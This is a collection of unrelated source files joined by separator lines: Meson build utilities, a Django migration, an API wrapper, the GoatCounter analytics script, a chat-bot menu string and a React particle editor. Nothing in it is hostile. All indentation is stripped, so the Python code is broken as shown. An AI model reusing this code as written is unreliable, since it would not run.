with open(dst_tmp, 'w', encoding=encoding, newline='') as f:
f.writelines(result)
except Exception as e:
raise MesonException('Could not write output file %s: %s' % (dst, str(e)))
shutil.copymode(src, dst_tmp)
replace_if_different(dst, dst_tmp)
return missing_variables, confdata_useless
CONF_C_PRELUDE = '''/*
* Autogenerated by the Meson build system.
* Do not edit, your changes will be lost.
*/
#pragma once
'''
CONF_NASM_PRELUDE = '''; Autogenerated by the Meson build system.
; Do not edit, your changes will be lost.
'''
def dump_conf_header(ofilename, cdata, output_format):
if output_format == 'c':
prelude = CONF_C_PRELUDE
prefix = '#'
elif output_format == 'nasm':
prelude = CONF_NASM_PRELUDE
prefix = '%'
ofilename_tmp = ofilename + '~'
with open(ofilename_tmp, 'w', encoding='utf-8') as ofile:
ofile.write(prelude)
for k in sorted(cdata.keys()):
(v, desc) = cdata.get(k)
if desc:
if output_format == 'c':
ofile.write('/* %s */\n' % desc)
elif output_format == 'nasm':
for line in desc.split('\n'):
ofile.write('; %s\n' % line)
if isinstance(v, bool):
if v:
ofile.write('%sdefine %s\n\n' % (prefix, k))
else:
ofile.write('%sundef %s\n\n' % (prefix, k))
elif isinstance(v, (int, str)):
ofile.write('%sdefine %s %s\n\n' % (prefix, k, v))
else:
raise MesonException('Unknown data type in configuration file entry: ' + k)
replace_if_different(ofilename, ofilename_tmp)
def replace_if_different(dst, dst_tmp):
# If contents are identical, don't touch the file to prevent
# unnecessary rebuilds.
different = True
try:
with open(dst, 'rb') as f1, open(dst_tmp, 'rb') as f2:
if f1.read() == f2.read():
different = False
except FileNotFoundError:
pass
if different:
os.replace(dst_tmp, dst)
else:
os.unlink(dst_tmp)
def listify(item, flatten=True, unholder=False):
'''
Returns a list with all args embedded in a list if they are not a list.
This function preserves order.
@flatten: Convert lists of lists to a flat list
@unholder: Replace each item with the object it holds, if required
Note: unholding only works recursively when flattening
'''
if not isinstance(item, list):
if unholder and hasattr(item, 'held_object'):
item = item.held_object
return [item]
result = []
for i in item:
if unholder and hasattr(i, 'held_object'):
i = i.held_object
if flatten and isinstance(i, list):
result += listify(i, flatten=True, unholder=unholder)
else:
result.append(i)
return result
def extract_as_list(dict_object, *keys, pop=False, **kwargs):
'''
Extracts all values from given dict_object and listifies them.
'''
result = []
fetch = dict_object.get
if pop:
fetch = dict_object.pop
# If there's only one key, we don't return a list with one element
if len(keys) == 1:
return listify(fetch(keys[0], []), **kwargs)
# Return a list of values corresponding to *keys
for key in keys:
result.append(listify(fetch(key, []), **kwargs))
return result
def typeslistify(item: 'typing.Union[_T, typing.List[_T]]',
types: 'typing.Union[typing.Type[_T], typing.Tuple[typing.Type[_T]]]') -> typing.List[_T]:
'''
Ensure that type(@item) is one of @types or a
list of items all of which are of type @types
'''
if isinstance(item, types):
item = typing.cast(typing.List[_T], [item])
if not isinstance(item, list):
raise MesonException('Item must be a list or one of {!r}'.format(types))
for i in item:
if i is not None and not isinstance(i, types):
raise MesonException('List item must be one of {!r}'.format(types))
return item
def stringlistify(item: typing.Union[str, typing.List[str]]) -> typing.List[str]:
return typeslistify(item, str)
def expand_arguments(args):
expended_args = []
for arg in args:
if not arg.startswith('@'):
expended_args.append(arg)
continue
args_file = arg[1:]
try:
with open(args_file) as f:
extended_args = f.read().split()
expended_args += extended_args
except Exception as e:
print('Error expanding command line arguments, %s not found' % args_file)
print(e)
return None
return expended_args
def partition(pred, iterable):
'Use a predicate to partition entries into false entries and true entries'
# partition(is_odd, range(10)) --> 0 2 4 6 8 and 1 3 5 7 9
t1, t2 = tee(iterable)
return filterfalse(pred, t1), filter(pred, t2)
def Popen_safe(args: typing.List[str], write: typing.Optional[str] = None,
stdout: typing.Union[typing.BinaryIO, int] = subprocess.PIPE,
stderr: typing.Union[typing.BinaryIO, int] = subprocess.PIPE,
**kwargs: typing.Any) -> typing.Tuple[subprocess.Popen, str, str]:
import locale
encoding = locale.getpreferredencoding()
if sys.version_info < (3, 6) or not sys.stdout.encoding or encoding.upper() != 'UTF-8':
return Popen_safe_legacy(args, write=write, stdout=stdout, stderr=stderr, **kwargs)
p = subprocess.Popen(args, universal_newlines=True, close_fds=False,
stdout=stdout, stderr=stderr, **kwargs)
o, e = p.communicate(write)
return p, o, e
def Popen_safe_legacy(args: typing.List[str], write: typing.Optional[str] = None,
stdout: typing.Union[typing.BinaryIO, int] = subprocess.PIPE,
stderr: typing.Union[typing.BinaryIO, int] = subprocess.PIPE,
**kwargs: typing.Any) -> typing.Tuple[subprocess.Popen, str, str]:
p = subprocess.Popen(args, universal_newlines=False, close_fds=False,
stdout=stdout, stderr=stderr, **kwargs)
input_ = None # type: typing.Optional[bytes]
if write is not None:
input_ = write.encode('utf-8')
o, e = p.communicate(input_)
if o is not None:
if sys.stdout.encoding:
o = o.decode(encoding=sys.stdout.encoding, errors='replace').replace('\r\n', '\n')
else:
o = o.decode(errors='replace').replace('\r\n', '\n')
if e is not None:
if sys.stderr.encoding:
e = e.decode(encoding=sys.stderr.encoding, errors='replace').replace('\r\n', '\n')
else:
e = e.decode(errors='replace').replace('\r\n', '\n')
return p, o, e
def iter_regexin_iter(regexiter, initer):
'''
Takes each regular expression in @regexiter and tries to search for it in
every item in @initer. If there is a match, returns that match.
Else returns False.
'''
for regex in regexiter:
for ii in initer:
if not isinstance(ii, str):
continue
match = re.search(regex, ii)
if match:
return match.group()
return False
def _substitute_values_check_errors(command, values):
# Error checking
inregex = ('@INPUT([0-9]+)?@', '@PLAINNAME@', '@BASENAME@')
outregex = ('@OUTPUT([0-9]+)?@', '@OUTDIR@')
if '@INPUT@' not in values:
# Error out if any input-derived templates are present in the command
match = iter_regexin_iter(inregex, command)
if match:
m = 'Command cannot have {!r}, since no input files were specified'
raise MesonException(m.format(match))
else:
if len(values['@INPUT@']) > 1:
# Error out if @PLAINNAME@ or @BASENAME@ is present in the command
match = iter_regexin_iter(inregex[1:], command)
if match:
raise MesonException('Command cannot have {!r} when there is '
'more than one input file'.format(match))
# Error out if an invalid @INPUTnn@ template was specified
for each in command:
if not isinstance(each, str):
continue
match = re.search(inregex[0], each)
if match and match.group() not in values:
m = 'Command cannot have {!r} since there are only {!r} inputs'
raise MesonException(m.format(match.group(), len(values['@INPUT@'])))
if '@OUTPUT@' not in values:
# Error out if any output-derived templates are present in the command
match = iter_regexin_iter(outregex, command)
if match:
m = 'Command cannot have {!r} since there are no outputs'
raise MesonException(m.format(match))
else:
# Error out if an invalid @OUTPUTnn@ template was specified
for each in command:
if not isinstance(each, str):
continue
match = re.search(outregex[0], each)
if match and match.group() not in values:
m = 'Command cannot have {!r} since there are only {!r} outputs'
raise MesonException(m.format(match.group(), len(values['@OUTPUT@'])))
def substitute_values(command, values):
'''
Substitute the template strings in the @values dict into the list of
strings @command and return a new list. For a full list of the templates,
see get_filenames_templates_dict()
If multiple inputs/outputs are given in the @values dictionary, we
substitute @INPUT@ and @OUTPUT@ only if they are the entire string, not
just a part of it, and in that case we substitute *all* of them.
'''
# Error checking
_substitute_values_check_errors(command, values)
# Substitution
outcmd = []
rx_keys = [re.escape(key) for key in values if key not in ('@INPUT@', '@OUTPUT@')]
value_rx = re.compile('|'.join(rx_keys)) if rx_keys else None
for vv in command:
if not isinstance(vv, str):
outcmd.append(vv)
elif '@INPUT@' in vv:
inputs = values['@INPUT@']
if vv == '@INPUT@':
outcmd += inputs
elif len(inputs) == 1:
outcmd.append(vv.replace('@INPUT@', inputs[0]))
else:
raise MesonException("Command has '@INPUT@' as part of a "
"string and more than one input file")
elif '@OUTPUT@' in vv:
outputs = values['@OUTPUT@']
if vv == '@OUTPUT@':
outcmd += outputs
elif len(outputs) == 1:
outcmd.append(vv.replace('@OUTPUT@', outputs[0]))
else:
raise MesonException("Command has '@OUTPUT@' as part of a "
"string and more than one output file")
# Append values that are exactly a template string.
# This is faster than a string replace.
elif vv in values:
outcmd.append(values[vv])
# Substitute everything else with replacement
elif value_rx:
outcmd.append(value_rx.sub(lambda m: values[m.group(0)], vv))
else:
outcmd.append(vv)
return outcmd
def get_filenames_templates_dict(inputs, outputs):
'''
Create a dictionary with template strings as keys and values as values for
the following templates:
@INPUT@ - the full path to one or more input files, from @inputs
@OUTPUT@ - the full path to one or more output files, from @outputs
@OUTDIR@ - the full path to the directory containing the output files
If there is only one input file, the following keys are also created:
@PLAINNAME@ - the filename of the input file
@BASENAME@ - the filename of the input file with the extension removed
If there is more than one input file, the following keys are also created:
@INPUT0@, @INPUT1@, ... one for each input file
If there is more than one output file, the following keys are also created:
@OUTPUT0@, @OUTPUT1@, ... one for each output file
'''
values = {}
# Gather values derived from the input
if inputs:
# We want to substitute all the inputs.
values['@INPUT@'] = inputs
for (ii, vv) in enumerate(inputs):
# Write out @INPUT0@, @INPUT1@, ...
values['@INPUT{}@'.format(ii)] = vv
if len(inputs) == 1:
# Just one value, substitute @PLAINNAME@ and @BASENAME@
values['@PLAINNAME@'] = plain = os.path.basename(inputs[0])
values['@BASENAME@'] = os.path.splitext(plain)[0]
if outputs:
# Gather values derived from the outputs, similar to above.
values['@OUTPUT@'] = outputs
for (ii, vv) in enumerate(outputs):
values['@OUTPUT{}@'.format(ii)] = vv
# Outdir should be the same for all outputs
values['@OUTDIR@'] = os.path.dirname(outputs[0])
# Many external programs fail on empty arguments.
if values['@OUTDIR@'] == '':
values['@OUTDIR@'] = '.'
return values
def _make_tree_writable(topdir):
# Ensure all files and directories under topdir are writable
# (and readable) by owner.
for d, _, files in os.walk(topdir):
os.chmod(d, os.stat(d).st_mode | stat.S_IWRITE | stat.S_IREAD)
for fname in files:
fpath = os.path.join(d, fname)
if os.path.isfile(fpath):
os.chmod(fpath, os.stat(fpath).st_mode | stat.S_IWRITE | stat.S_IREAD)
def windows_proof_rmtree(f):
# On Windows if anyone is holding a file open you can't
# delete it. As an example an anti virus scanner might
# be scanning files you are trying to delete. The only
# way to fix this is to try again and again.
delays = [0.1, 0.1, 0.2, 0.2, 0.2, 0.5, 0.5, 1, 1, 1, 1, 2]
# Start by making the tree wriable.
_make_tree_writable(f)
for d in delays:
try:
shutil.rmtree(f)
return
except FileNotFoundError:
return
except (OSError, PermissionError):
time.sleep(d)
# Try one last time and throw if it fails.
shutil.rmtree(f)
def windows_proof_rm(fpath):
"""Like windows_proof_rmtree, but for a single file."""
if os.path.isfile(fpath):
os.chmod(fpath, os.stat(fpath).st_mode | stat.S_IWRITE | stat.S_IREAD)
delays = [0.1, 0.1, 0.2, 0.2, 0.2, 0.5, 0.5, 1, 1, 1, 1, 2]
for d in delays:
try:
os.unlink(fpath)
return
except FileNotFoundError:
return
except (OSError, PermissionError):
time.sleep(d)
os.unlink(fpath)
def detect_subprojects(spdir_name, current_dir='', result=None):
if result is None:
result = {}
spdir = os.path.join(current_dir, spdir_name)
if not os.path.exists(spdir):
return result
for trial in glob(os.path.join(spdir, '*')):
basename = os.path.basename(trial)
if trial == 'packagecache':
continue
append_this = True
if os.path.isdir(trial):
detect_subprojects(spdir_name, trial, result)
elif trial.endswith('.wrap') and os.path.isfile(trial):
basename = os.path.splitext(basename)[0]
else:
append_this = False
if append_this:
if basename in result:
result[basename].append(trial)
else:
result[basename] = [trial]
return result
# This isn't strictly correct. What we really want here is something like:
# class StringProtocol(typing_extensions.Protocol):
#
# def __str__(self) -> str: ...
#
# This would more accurately embody what this funcitonc an handle, but we
# don't have that yet, so instead we'll do some casting to work around it
def get_error_location_string(fname: str, lineno: str) -> str:
return '{}:{}:'.format(fname, lineno)
def substring_is_in_list(substr: str, strlist: typing.List[str]) -> bool:
for s in strlist:
if substr in s:
return True
return False
class OrderedSet(collections.abc.MutableSet):
"""A set that preserves the order in which items are added, by first
insertion.
"""
def __init__(self, iterable=None):
self.__container = collections.OrderedDict()
if iterable:
self.update(iterable)
def __contains__(self, value):
return value in self.__container
def __iter__(self):
return iter(self.__container.keys())
def __len__(self):
return len(self.__container)
def __repr__(self):
# Don't print 'OrderedSet("")' for an empty set.
if self.__container:
return 'OrderedSet("{}")'.format(
'", "'.join(repr(e) for e in self.__container.keys()))
return 'OrderedSet()'
def __reversed__(self):
return reversed(self.__container)
def add(self, value):
self.__container[value] = None
def discard(self, value):
if value in self.__container:
del self.__container[value]
def update(self, iterable):
for item in iterable:
self.__container[item] = None
def difference(self, set_):
return type(self)(e for e in self if e not in set_)
class BuildDirLock:
def __init__(self, builddir):
self.lockfilename = os.path.join(builddir, 'meson-private/meson.lock')
def __enter__(self):
self.lockfile = open(self.lockfilename, 'w')
try:
if have_fcntl:
fcntl.flock(self.lockfile, fcntl.LOCK_EX | fcntl.LOCK_NB)
elif have_msvcrt:
msvcrt.locking(self.lockfile.fileno(), msvcrt.LK_NBLCK, 1)
except (BlockingIOError, PermissionError):
self.lockfile.close()
raise MesonException('Some other Meson process is already using this build directory. Exiting.')
def __exit__(self, *args):
if have_fcntl:
fcntl.flock(self.lockfile, fcntl.LOCK_UN)
elif have_msvcrt:
msvcrt.locking(self.lockfile.fileno(), msvcrt.LK_UNLCK, 1)
self.lockfile.close()
def relpath(path: str, start: str) -> str:
# On Windows a relative path can't be evaluated for paths on two different
# drives (i.e. c:\foo and f:\bar). The only thing left to do is to use the
# original absolute path.
try:
return os.path.relpath(path, start)
except (TypeError, ValueError):
return path
class LibType(Enum):
"""Enumeration for library types."""
SHARED = 0
STATIC = 1
PREFER_SHARED = 2
PREFER_STATIC = 3
class ProgressBarFallback:
'''Fallback progress bar implementation when tqdm is not found'''
def __init__(self, iterable=None, total=None, bar_type=None, desc=None):
if iterable is not None:
self.iterable = iter(iterable)
return
self.total = total
self.done = 0
self.printed_dots = 0
if self.total and bar_type == 'download':
print('Download size:', self.total)
if desc:
print('{}: '.format(desc), end='')
# Pretend to be an iterator when called as one and don't print any
# progress
def __iter__(self):
return self.iterable
def __next__(self):
return next(self.iterable)
def print_dot(self):
print('.', end='')
sys.stdout.flush()
self.printed_dots += 1
def update(self, progress):
self.done += progress
if not self.total:
# Just print one dot per call if we don't have a total length
self.print_dot()
return
ratio = int(self.done / self.total * 10)
while self.printed_dots < ratio:
self.print_dot()
def close(self):
print('')
try:
from tqdm import tqdm
class ProgressBar(tqdm):
def __init__(self, *args, bar_type=None, **kwargs):
if bar_type == 'download':
kwargs.update({'unit': 'bytes', 'leave': True})
else:
kwargs.update({'leave': False})
kwargs['ncols'] = 100
super().__init__(*args, **kwargs)
except ImportError:
ProgressBar = ProgressBarFallback
def get_wine_shortpath(winecmd, wine_paths):
""" Get A short version of @wine_paths to avoid
reaching WINEPATH number of char limit.
"""
seen = set()
wine_paths = [p for p in wine_paths if not (p in seen or seen.add(p))]
getShortPathScript = '%s.bat' % str(uuid.uuid4()).lower()[:5]
with open(getShortPathScript, mode='w') as f:
f.write("@ECHO OFF\nfor %%x in (%*) do (\n echo|set /p=;%~sx\n)\n")
f.flush()
try:
with open(os.devnull, 'w') as stderr:
wine_path = subprocess.check_output(
winecmd +
['cmd', '/C', getShortPathScript] + wine_paths,
stderr=stderr).decode('utf-8')
except subprocess.CalledProcessError as e:
print("Could not get short paths: %s" % e)
wine_path = ';'.join(wine_paths)
finally:
os.remove(getShortPathScript)
if len(wine_path) > 2048:
raise MesonException(
'WINEPATH size {} > 2048'
' this will cause random failure.'.format(
len(wine_path)))
return wine_path.strip(';')
def run_once(func):
ret = []
def wrapper(*args, **kwargs):
if ret:
return ret[0]
val = func(*args, **kwargs)
ret.append(val)
return val
return update_wrapper(wrapper, func)
class OptionProxy:
def __init__(self, value):
self.value = value
class OptionOverrideProxy:
'''Mimic an option list but transparently override
selected option values.'''
def __init__(self, overrides, *options):
self.overrides = overrides
self.options = options
def __getitem__(self, option_name):
for opts in self.options:
if option_name in opts:
return self._get_override(option_name, opts[option_name])
raise KeyError('Option not found', option_name)
def _get_override(self, option_name, base_opt):
if option_name in self.overrides:
return OptionProxy(base_opt.validate_value(self.overrides[option_name]))
return base_opt
def copy(self):
result = {}
for opts in self.options:
for option_name in opts:
result[option_name] = self._get_override(option_name, opts[option_name])
return result
|
# Copyright The IETF Trust 2018-2019, All Rights Reserved
# -*- coding: utf-8 -*-
# Generated by Django 1.11.10 on 2018-02-20 10:52
from __future__ import absolute_import, print_function, unicode_literals
import six
if six.PY3:
from typing import List, Tuple # pyflakes:ignore
from django.db import migrations, models
import django.db.models.deletion
import ietf.utils.models
class Migration(migrations.Migration):
initial = True
dependencies = [
] # type: List[Tuple[str]]
operations = [
migrations.CreateModel(
name='CommunityList',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
],
),
migrations.CreateModel(
name='EmailSubscription',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('notify_on', models.CharField(choices=[('all', 'All changes'), ('significant', 'Only significant state changes')], default='all', max_length=30)),
],
),
migrations.CreateModel(
name='SearchRule',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('rule_type', models.CharField(choices=[('group', 'All I-Ds associated with a particular group'), ('area', 'All I-Ds associated with all groups in a particular Area'), ('group_rfc', 'All RFCs associated with a particular group'), ('area_rfc', 'All RFCs associated with all groups in a particular Area'), ('state_iab', 'All I-Ds that are in a particular IAB state'), ('state_iana', 'All I-Ds that are in a particular IANA state'), ('state_iesg', 'All I-Ds that are in a particular IESG state'), ('state_irtf', 'All I-Ds that are in a particular IRTF state'), ('state_ise', 'All I-Ds that are in a particular ISE state'), ('state_rfceditor', 'All I-Ds that are in a particular RFC Editor state'), ('state_ietf', 'All I-Ds that are in a particular Working Group state'), ('author', 'All I-Ds with a particular author'), ('author_rfc', 'All RFCs with a particular author'), ('ad', 'All I-Ds with a particular responsible AD'), ('shepherd', 'All I-Ds with a particular document shepherd'), ('name_contains', 'All I-Ds with particular text/regular expression in the name')], max_length=30)),
('text', models.CharField(blank=True, default='', max_length=255, verbose_name='Text/RegExp')),
('community_list', ietf.utils.models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='community.CommunityList')),
],
),
]
|
// import axios from 'axios'
// // export function getBalanceData(query) {
// // return request({
// // url: '/total_balance_data',
// // method: 'post',
// // query
// // })
// // }
// function getIndexInfo(params) {
// // return axios.get('http://18.179.204.45:5001/get_index_info', { params: params })
// return axios.get('http://127.0.0.1:5001/get_index_info', { params: params })
// }
// function getDetailIndexInfo(params) {
// // return axios.get('http://18.179.204.45:5001/get_detail_index_info', { params: params })
// return axios.get('http://127.0.0.1:5001/get_detail_index_info', { params: params })
// }
// module.exports = {
// getIndexInfo,
// getDetailIndexInfo
// }
import request from '@/utils/request'
export function getIndexInfo(params) {
return request({
url: '/get_index_info',
method: 'get',
params: params
})
}
export function getDetailIndexInfo(params) {
return request({
url: '/get_detail_index_info',
method: 'get',
params: params
})
}
|
// GoatCounter: https://www.goatcounter.com
// This file (and *only* this file) is released under the ISC license:
// https://opensource.org/licenses/ISC
;(function() {
'use strict';
if (window.goatcounter && window.goatcounter.vars) // Compatibility with very old version; do not use.
window.goatcounter = window.goatcounter.vars
else
window.goatcounter = window.goatcounter || {}
// Load settings from data-goatcounter-settings.
var s = document.querySelector('script[data-goatcounter]')
if (s && s.dataset.goatcounterSettings) {
try { var set = JSON.parse(s.dataset.goatcounterSettings) }
catch (err) { console.error('invalid JSON in data-goatcounter-settings: ' + err) }
for (var k in set)
if (['no_onload', 'no_events', 'allow_local', 'allow_frame', 'path', 'title', 'referrer', 'event'].indexOf(k) > -1)
window.goatcounter[k] = set[k]
}
var enc = encodeURIComponent
// Get all data we're going to send off to the counter endpoint.
var get_data = function(vars) {
var data = {
p: (vars.path === undefined ? goatcounter.path : vars.path),
r: (vars.referrer === undefined ? goatcounter.referrer : vars.referrer),
t: (vars.title === undefined ? goatcounter.title : vars.title),
e: !!(vars.event || goatcounter.event),
s: [window.screen.width, window.screen.height, (window.devicePixelRatio || 1)],
b: is_bot(),
q: location.search,
}
var rcb, pcb, tcb // Save callbacks to apply later.
if (typeof(data.r) === 'function') rcb = data.r
if (typeof(data.t) === 'function') tcb = data.t
if (typeof(data.p) === 'function') pcb = data.p
if (is_empty(data.r)) data.r = document.referrer
if (is_empty(data.t)) data.t = document.title
if (is_empty(data.p)) data.p = get_path()
if (rcb) data.r = rcb(data.r)
if (tcb) data.t = tcb(data.t)
if (pcb) data.p = pcb(data.p)
return data
}
// Check if a value is "empty" for the purpose of get_data().
var is_empty = function(v) { return v === null || v === undefined || typeof(v) === 'function' }
// See if this looks like a bot; there is some additional filtering on the
// backend, but these properties can't be fetched from there.
var is_bot = function() {
// Headless browsers are probably a bot.
var w = window, d = document
if (w.callPhantom || w._phantom || w.phantom)
return 150
if (w.__nightmare)
return 151
if (d.__selenium_unwrapped || d.__webdriver_evaluate || d.__driver_evaluate)
return 152
if (navigator.webdriver)
return 153
return 0
}
// Object to urlencoded string, starting with a ?.
var urlencode = function(obj) {
var p = []
for (var k in obj)
if (obj[k] !== '' && obj[k] !== null && obj[k] !== undefined && obj[k] !== false)
p.push(enc(k) + '=' + enc(obj[k]))
return '?' + p.join('&')
}
// Show a warning in the console.
var warn = function(msg) {
if (console && 'warn' in console)
console.warn('goatcounter: ' + msg)
}
// Get the endpoint to send requests to.
var get_endpoint = function() {
var s = document.querySelector('script[data-goatcounter]')
if (s && s.dataset.goatcounter)
return s.dataset.goatcounter
return (goatcounter.endpoint || window.counter) // counter is for compat; don't use.
}
// Get current path.
var get_path = function() {
var loc = location,
c = document.querySelector('link[rel="canonical"][href]')
if (c) { // May be relative or point to different domain.
var a = document.createElement('a')
a.href = c.href
if (a.hostname.replace(/^www\./, '') === location.hostname.replace(/^www\./, ''))
loc = a
}
return (loc.pathname + loc.search) || '/'
}
// Run function after DOM is loaded.
var on_load = function(f) {
if (document.body === null)
document.addEventListener('DOMContentLoaded', function() { f() }, false)
else
f()
}
// Filter some requests that we (probably) don't want to count.
goatcounter.filter = function() {
if ('visibilityState' in document && document.visibilityState === 'prerender')
return 'visibilityState'
if (!goatcounter.allow_frame && location !== parent.location)
return 'frame'
if (!goatcounter.allow_local && location.hostname.match(/(localhost$|^127\.|^10\.|^172\.(1[6-9]|2[0-9]|3[0-1])\.|^192\.168\.|^0\.0\.0\.0$)/))
return 'localhost'
if (!goatcounter.allow_local && location.protocol === 'file:')
return 'localfile'
if (localStorage && localStorage.getItem('skipgc') === 't')
return 'disabled with #toggle-goatcounter'
return false
}
// Get URL to send to GoatCounter.
window.goatcounter.url = function(vars) {
var data = get_data(vars || {})
if (data.p === null) // null from user callback.
return
data.rnd = Math.random().toString(36).substr(2, 5) // Browsers don't always listen to Cache-Control.
var endpoint = get_endpoint()
if (!endpoint)
return warn('no endpoint found')
return endpoint + urlencode(data)
}
// Count a hit.
window.goatcounter.count = function(vars) {
var f = goatcounter.filter()
if (f)
return warn('not counting because of: ' + f)
var url = goatcounter.url(vars)
if (!url)
return warn('not counting because path callback returned null')
var img = document.createElement('img')
img.src = url
img.style.position = 'absolute' // Affect layout less.
img.style.bottom = '0px'
img.style.width = '1px'
img.style.height = '1px'
img.loading = 'eager'
img.setAttribute('alt', '')
img.setAttribute('aria-hidden', 'true')
var rm = function() { if (img && img.parentNode) img.parentNode.removeChild(img) }
img.addEventListener('load', rm, false)
document.body.appendChild(img)
}
// Get a query parameter.
window.goatcounter.get_query = function(name) {
var s = location.search.substr(1).split('&')
for (var i = 0; i < s.length; i++)
if (s[i].toLowerCase().indexOf(name.toLowerCase() + '=') === 0)
return s[i].substr(name.length + 1)
}
// Track click events.
window.goatcounter.bind_events = function() {
if (!document.querySelectorAll) // Just in case someone uses an ancient browser.
return
var send = function(elem) {
return function() {
goatcounter.count({
event: true,
path: (elem.dataset.goatcounterClick || elem.name || elem.id || ''),
title: (elem.dataset.goatcounterTitle || elem.title || (elem.innerHTML || '').substr(0, 200) || ''),
referrer: (elem.dataset.goatcounterReferrer || elem.dataset.goatcounterReferral || ''),
})
}
}
Array.prototype.slice.call(document.querySelectorAll("*[data-goatcounter-click]")).forEach(function(elem) {
if (elem.dataset.goatcounterBound)
return
var f = send(elem)
elem.addEventListener('click', f, false)
elem.addEventListener('auxclick', f, false) // Middle click.
elem.dataset.goatcounterBound = 'true'
})
}
// Add a "visitor counter" frame or image.
window.goatcounter.visit_count = function(opt) {
on_load(function() {
opt = opt || {}
opt.type = opt.type || 'html'
opt.append = opt.append || 'body'
opt.path = opt.path || get_path()
opt.attr = opt.attr || {width: '200', height: (opt.no_branding ? '60' : '80')}
opt.attr['src'] = get_endpoint() + 'er/' + enc(opt.path) + '.' + enc(opt.type) + '?'
if (opt.no_branding) opt.attr['src'] += '&no_branding=1'
if (opt.style) opt.attr['src'] += '&style=' + enc(opt.style)
if (opt.start) opt.attr['src'] += '&start=' + enc(opt.start)
if (opt.end) opt.attr['src'] += '&end=' + enc(opt.end)
var tag = {png: 'img', svg: 'img', html: 'iframe'}[opt.type]
if (!tag)
return warn('visit_count: unknown type: ' + opt.type)
if (opt.type === 'html') {
opt.attr['frameborder'] = '0'
opt.attr['scrolling'] = 'no'
}
var d = document.createElement(tag)
for (var k in opt.attr)
d.setAttribute(k, opt.attr[k])
var p = document.querySelector(opt.append)
if (!p)
return warn('visit_count: append not found: ' + opt.append)
p.appendChild(d)
})
}
// Make it easy to skip your own views.
if (location.hash === '#toggle-goatcounter') {
if (localStorage.getItem('skipgc') === 't') {
localStorage.removeItem('skipgc', 't')
alert('GoatCounter tracking is now ENABLED in this browser.')
}
else {
localStorage.setItem('skipgc', 't')
alert('GoatCounter tracking is now DISABLED in this browser until ' + location + ' is loaded again.')
}
}
if (!goatcounter.no_onload)
on_load(function() {
// 1. Page is visible, count request.
// 2. Page is not yet visible; wait until it switches to 'visible' and count.
// See #487
if (!('visibilityState' in document) || document.visibilityState === 'visible')
goatcounter.count()
else {
var f = function(e) {
if (document.visibilityState !== 'visible')
return
document.removeEventListener('visibilitychange', f)
goatcounter.count()
}
document.addEventListener('visibilitychange', f)
}
if (!goatcounter.no_events)
goatcounter.bind_events()
})
})();
|
const information = (prefix, ownerBot, botName) => {
return `
「 *${botName}* 」
◪ *INFO*
❏ Prefix: 「 ${prefix} 」
❏ Creator: ${ownerBot}
◪ *ABOUT*
│
├─ ❏ ${prefix}info
├─ ❏ ${prefix}blocklist
├─ ❏ ${prefix}chatlist
├─ ❏ ${prefix}ping
└─ ❏ ${prefix}bugreport
◪ *INFORMATION*
│
├─ ❏ ${prefix}bahasa
├─ ❏ ${prefix}kodenegara
├─ ❏ ${prefix}kbbi
├─ ❏ ${prefix}fakta
├─ ❏ ${prefix}infocuaca
├─ ❏ ${prefix}infogempa
├─ ❏ ${prefix}jadwaltvnow
└─ ❏ ${prefix}covidcountry`
}
exports.information = information
|
import React, {
createContext,
useContext,
useEffect,
useState,
useRef,
} from "react";
import EffectsConfigurationPanel from "./EffectsConfigurationPanel/EffectsConfigurationPanel";
import ProjectToolbar from "./ProjectToolbar";
import ParticleSandbox from "./ParticleSandbox";
import "./Editor.css";
import { downloadObject } from "../other/utils";
const globalState = {
particleModules: [],
easingFunctions: [],
availableTextures: [],
shapes: [],
presetEffects: [],
};
export const globalStateContext = createContext(globalState);
const Editor = (props) => {
const [effects, setEffects] = useState([]);
const [loading, setLoading] = useState(true);
const { particleModules } = useContext(globalStateContext);
useEffect(() => {
// Load config files.
const promiseCoreLibraryConfig = fetch("config.modularParticleSystem.json")
.then((r) => r.json())
.then((coreLibraryConfig) => {
console.log("loaded core library config");
const { particleModules, easingFunctions, shapes } = coreLibraryConfig;
globalState.particleModules = particleModules;
globalState.easingFunctions = easingFunctions;
globalState.shapes = shapes;
setEffects(
defaultParticleSystemConf.map((effect) =>
loadParticleEffectDefaults(effect, particleModules)
)
);
});
const promiseTextures = fetch("config.textures.json")
.then((r) => r.json())
.then((textureNames) => {
console.log("loaded available textures");
globalState.availableTextures = textureNames;
});
const promisePresetEffects = fetch("config.presetParticleEffects.json")
.then((r) => r.json())
.then((presetEffects) => {
console.log("loaded preset effects");
globalState.presetEffects = presetEffects;
});
Promise.all([
promiseCoreLibraryConfig,
promiseTextures,
promisePresetEffects,
]).then((_) => {
setLoading(false);
});
}, []);
const refLoadFileInput = useRef(null);
return loading ? (
<div className="editor-loading">Loading...</div>
) : (
<globalStateContext.Provider value={globalState}>
<div className="editor">
<ProjectToolbar
restart={() => {
setEffects([...effects]);
}}
saveToFile={() => {
const particleSystemObject = {
effects: effects.map((effect) => ({
textures: effect.textures,
modules: effect.modules,
})),
};
downloadObject(particleSystemObject, "particleSystem.json");
}}
loadPreset={(particleSystemData) => {
setEffects(particleSystemData.effects);
}}
loadFromFile={() => {
const fileInput = refLoadFileInput.current;
if (!fileInput) return;
fileInput.click();
}}
/>
<div className="editor-workspace">
<ParticleSandbox effects={effects} />
<EffectsConfigurationPanel
effects={effects}
updateEffects={(updatedEffects) => {
updatedEffects = updatedEffects.map((effect) =>
loadParticleEffectDefaults(effect, particleModules)
);
setEffects(updatedEffects);
}}
/>
</div>
</div>
<input
className="editor-fileInput"
type={"file"}
ref={refLoadFileInput}
accept={".json"}
onChange={async (e) => {
try {
const file = e.target.files[0];
const loadedParticleSystem = await new Response(file).json();
setEffects(loadedParticleSystem.effects);
} catch (e) {
alert(`Unexpected error while loading file.\n${e.message}`);
}
}}
/>
</globalStateContext.Provider>
);
};
const defaultParticleSystemConf = [
{
textures: ["ball.png"],
modules: [
{
moduleTypeId: "PointGenerator",
},
{
moduleTypeId: "RandomAngleVelocity",
min: 50,
max: 100,
},
{
moduleTypeId: "RandomScale",
min: 0.5,
max: 0.8,
},
{
moduleTypeId: "RandomColor",
},
{
moduleTypeId: "LifeTimeRange",
},
{
moduleTypeId: "AlphaOverLifetime",
},
{
moduleTypeId: "LifeTimeDestructor",
},
],
},
];
